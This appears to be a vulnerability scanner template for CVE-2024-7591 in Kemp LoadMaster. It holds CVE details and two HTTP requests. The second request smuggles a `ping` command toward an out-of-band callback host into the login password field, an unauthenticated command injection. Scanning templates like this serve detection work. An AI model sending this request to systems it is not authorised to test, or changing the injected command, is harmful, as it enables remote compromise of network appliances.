Kemp LoadMaster Load Balancer - Unauthenticated Command Injection

id: CVE-2024-7591

info:
  name: Kemp LoadMaster Load Balancer - Unauthenticated Command Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Improper Input Validation vulnerability in Progress LoadMaster allows OS Command Injection.This issue affects: LoadMaster: 7.2.40.0 and above. ECS: All versions.Multi-Tenancy: 7.1.35.4 and above.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands on the LoadMaster load balancer through command injection, achieving complete system compromise with potential to pivot to backend infrastructure.
  remediation: |
    Apply security updates from Kemp Technologies as specified in their security advisory for LoadMaster versions 7.2.40.0 and above, ECS all versions, and Multi-Tenancy 7.1.35.4 and above.
  reference:
    - https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591/
    - https://nvd.nist.gov/vuln/detail/cve-2024-7591
    - https://support.kemptechnologies.com/hc/en-us/articles/29196371689613-LoadMaster-Security-Vulnerability-CVE-2024-7591
    - https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-7591
    cwe-id: CWE-78
    epss-score: 0.39181
    epss-percentile: 0.98611
    cpe: cpe:2.3:a:kemptechnologies:loadmaster:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: kemptechnologies
    product: loadmaster
    max-request: 2
    shodan-query: html:"Kemp Login Screen"
  tags: cve,cve2024,loadmaster,rce,oast,kemptechnologies,vuln

variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',50,'prefix')}}"

http:
  - raw:
      - |
        GET /progs/homepage HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - 'value="(.*?)" name="token"'
        internal: true

      - type: regex
        part: body
        name: token2
        group: 1
        regex:
          - 'value="(.*?)" name="token2"'
        internal: true

  - raw:
      - |
        POST /progs/status/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        token={{token}}&token2={{token2}}&user=test&logsub=Login&pass=%01%78%78%78%78%78%78%78%27%3b%70%69%6e%67%20%2d%63%20%32%20{{payload}}%3b%65%63%68%6f%20%27%01&

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(body, "alert(\"Login Failed\");", "2 packets transmitted")
        condition: and